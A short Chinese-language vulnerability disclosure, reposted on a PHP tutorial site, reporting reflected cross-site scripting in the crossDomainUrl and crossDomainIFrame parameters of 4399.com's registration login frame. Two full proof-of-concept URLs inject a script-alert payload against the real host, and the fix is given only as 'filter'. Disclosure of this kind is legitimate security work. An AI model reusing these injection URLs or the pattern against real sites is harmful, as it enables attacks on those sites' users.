来源：自学PHP网 时间：2015-04-17 14:47 作者： 阅读:次
[导读] 没对参数进行过滤。crossDomainIFrame与crossDomainUrl两处参数可进行修改。漏洞证明：http://ptlogin.4399.com/ptlogin/regFrame.do?manualReg=truepostLoginHandler=refreshParentredirectUrl=displayMode=......
|
没对参数进行过滤。crossDomainIFrame与crossDomainUrl两处参数可进行修改。 漏洞证明： http://ptlogin.4399.com/ptlogin/regFrame.do?manualReg=true&postLoginHandler=refreshParent&redirectUrl=&displayMode=embed&css=http%3A%2F%2Fs4.img4399.com%2Fm%2Fstyle%2Fptlogin_login.css&appId=my&gameId=®Idcard=true&mainDivId=popup_reg_div&crossDomainUrl=%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E www.2cto.com http://ptlogin.4399.com/ptlogin/regFrame.do?manualReg=true&postLoginHandler=refreshParent&redirectUrl=&displayMode=embed&css=http%3A%2F%2Fs4.img4399.com%2Fm%2Fstyle%2Fptlogin_login.css&appId=my&gameId=®Idcard=true&mainDivId=popup_reg_div&crossDomainIFrame=%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E 修复方案： 过滤....
作者：QQ852451559 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
